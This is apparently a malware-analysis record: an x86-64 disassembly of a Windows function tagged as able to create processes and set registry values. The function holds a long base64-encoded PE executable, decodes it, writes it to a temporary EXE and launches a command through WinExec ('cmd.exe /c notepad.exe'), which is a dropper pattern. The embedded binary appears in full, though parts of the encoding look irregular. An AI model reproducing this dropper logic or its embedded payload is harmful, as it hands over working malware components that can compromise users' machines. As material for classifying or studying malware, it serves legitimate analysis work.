Function at 0x27e2215b9
Capabilities:
Create process on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYRAIMv62YATg4ANngAAPAAJwALAgIeAAAKAADIDAAAFgAA4BQAAAAQAAAAAEAAAAAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAAAQDwAABgAA_p8lAAMAAAAAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAA8AwAkBMAAAAAAAAAAAAAADALAJCuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4HsKACgAAAAAAAAAAAAAAAAAAAAAAAAArPQMAHAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAABD_CQAAEAAAAAAKAAAGAAAAAAAAAAAAAAAAAABgAFBgLmRhdGEAAADgLgAAABAKAAAwAAAABgoAAAAAAAAAAAAAAAAAQABgwC5yZGF0YQAAYOUAAABACgAA5gAAADYKAAAAAAAAAAAAAAAAAEAAYEAucGRhdGEAAJCuAAAAMAsAALAAAAAcCwAAAAAAAAAAAAAAAABAADBALnhkYXRhAABQ6AAAAOALAADqAAAAzAsAAAAAAAAAAAAAAAAAQAAwQC5ic3MAAAAAIBUAAADQDAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAYMAuaWRhdGEAAJATAAAA8AwAABQAAAC2DAAAAAAAAAAAAAAAAABAADDALkNSVAAAAABwAAAAABANAAACAAAAygwAAAAAAAAAAAAAAAAAQABAwC50bHMAAAAAEAAAAAAgDQAAAgAAAMwMAAAAAAAAAAAAAAAAAEAAQMAvNAAAAAAAAOAAAAAAMA0AAAIAAADODAAAAAAAAAAAAAAAAABAAFBCLzE5AAAAAACMgEAAEANAAA0AQAA0AwAAAAAAAAAAAAAAAAAQAAQQi8zMQAAAAAAOBIAAACADgAAFAAAAAQOAAAAAAAAAAAAAAAAAEAAEEIvNDUAAAAAAKoUAAAAoA4AABYAAAAYDgAAAAAAAAAAAAAAAABAABBCLzU3AAAAAADQBAAAAMAOAAAGAAAALg4AAAAAAAAAAAAAAAAAQABAQi83MAAAAAAAJAMAAADQDgAABAAAADQOAAAAAAAAAAAAAAAAAEAAEEIvODEAAAAAALESAAAA4A4AABQAAAA4DgAAAAAAAAAAAAAAAABAABBCLzkyAAAAAADwAQAAAAAPAAACAAAATA4AAAAAAAAAAAAAAAAAQAAQQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAww8fRAAAZi4PH4QAAAAAAEiD7ChIiwUVhgoAMdLHAAEAAABIiwUWhgoAxwABAAAASIsFGYYKAMcAAQAAAEiLBdyFCgDHAAEAAABIiwWPhAoAZoE4TVp0WEiLBbGFCgCJFaO_DACLAIXAdDW5AgAAAOg7XgEA6MZeAQBIixVPhQoAixKJEOhWnQAASIsF73gKAIM4AXRaMcBIg8Qoww8fALkBAAAA6AZeAQDryQ8fQABIY0g8SAHIgThQRQAAdZkPt0gYZoH5CwF0OWaBQsCdYeDuIQAAAAOD4Z6____i4j4AAAAMdKFyQVwulo____SI0NZ8AAOjknwAAMcBIg8Qow4N4dA4Phkv___9Ei4DoAAAAMdJFhcAPlcLpN____w8fRAAAZi4PH4QAAAAAAEiD7DhIiwXFhAoATI0Fzr4MAEiNFcDABIjQ3QvgwAiwCJBaiDABIjQWhvgwASIlEJCBIiwVVhAoARIsI6E1dAQCQSIPEOMMPH4AAAAAAQVVBVFVXVlNIgeyYAAAAMcC5DQAAAEiNVCQgSInX80irSIs9aIQKAESLD0WFyQFvAIAAGVIiwQlMAAAAEiLHXyDCgAx7UiLcAhMiyUr5AwA6xFIOcYPhDQCAAC56AMAAEH_1EiJ6PBID7EzSIXAdeJIizVYgwoAMe2LBoP4AQEIgIAAIsGhcAPhHECAADHBeu9DAABAAAAiwaDAEPhBgCAACF7QEMQIAAEiLBY2CCgBIiwBIhcB0DEUxwLoCAAAAMcn_0OikoQAASI0N7aYAAP8VmMMAEiLFdCCCgBIiQLo6KUAAEiNDZH9___orFwBAOh3nwAASIsFYIIKAEiJBXnRDADopFwBADHJSIsASIXAdRzrXw8fhAAAAAAAhNJ0LIPhAXQnuQEAAABIg8ABD7YQgPogfuZBichBg_ABgPoiQQ9EyOvkZg8fRAAAhNJ1EesaZi4PH4QAAAAAAID6IH8LSIPAAQ2EITSdfBIiQUR0QwARIsHRYXAdBb2RCRcAbgKAAAAD4XxAAAAiQXr_AkAix0FvQwARI1jAU1j5EnB5ANMieHoYloBAIXbSIs94bwMAEiJxX5LjUP_MdtMjSzFCAAAAA8fgAAAAABIiwwf6K9ZAQBIjXABSInx6CtaAQBJifBIiUQdAEiLFB9IicFIg8MI6PtZAQBJOd11zkqNRCX4SMcAAAAAAEiJLYO8DADoFpoAAEiLBUBCgBIixVovAwAiw1yvAwASIsASIkQTIsFVbwMAEiLFVa8DADoiQEAAIsNO7wMAIkFObwMAIXJD4TDAAAAixUjvAwAhdJ1CiuWgEAiwUcvAwASIHEmAAAAFteX11BXEFdww3RCRg6QX___9mDx9EAABIizU5gQoAvQEAAACLBoP4AQF3v3__7kfAAAA6G9aAQCLBoP4AQF6P3__0iLFU2BCgBIiw02gQoA6BFaAQCF7ccGAgAAAAFz_3__zHASIcD6cX9__9mDxEAAAAAABIidH_FaPgDADpNv3__2aQSIsVKYEKAMcGAQAAAEiLDQyBCgDox1kBAOl7_f__icHoc1kBAJBmLg8fhAAAAAAASIPsKEiLBVWBCgDHAAEAAADoKpkAAOi1_P__kJBIg8Qoww8fQABmLg8fhAAAAAAASIPsKEiLBSWBCgDHAAAAAADopgAAOiF_P__kJBIg8Qoww8fQABmLg8fhAAAAAAASIPsKOg3WQEASIXAD5TAD7bA99hIg8Qow5CQkJCQkJBIjQ0JAAAA6dT___8PH0AAw5CQkJCQkJCQkJCQkJCQkFVIieVIgwg6FOYAABIjRVAKwoASIsNxXkKAOggwwkASIsVyXkKAEiJweixWQYASI0NLCsKAOhdVwEAuAAAAABIg8QgXcNVSInlSIPsIEiNDYu6DADo1lEJAJBIg8QgXcNVSInlSIPsIIlNEIlVGIN9EAF1IYF9GP__AAB1GEiNDVu6DADo5kkJAEiNDbX____oKv___5BIg8QgXcNVSInlSIPsILr__wAAuQEAAADo
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.base64_decode
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x27e2215f5
lea rcx, str.Failed_to_decode_base64._n
call sym.printf
jmp 0x27e221658
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.create_temp_exe
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x27e22162a
lea rcx, str.Failed_to_create_temporary_EXE._n
call sym.printf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x27e221658
mov edx, 1
lea rcx, str.cmd.exe__c_notepad.exe
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
nop
add rsp, 0x40
pop rbp
ret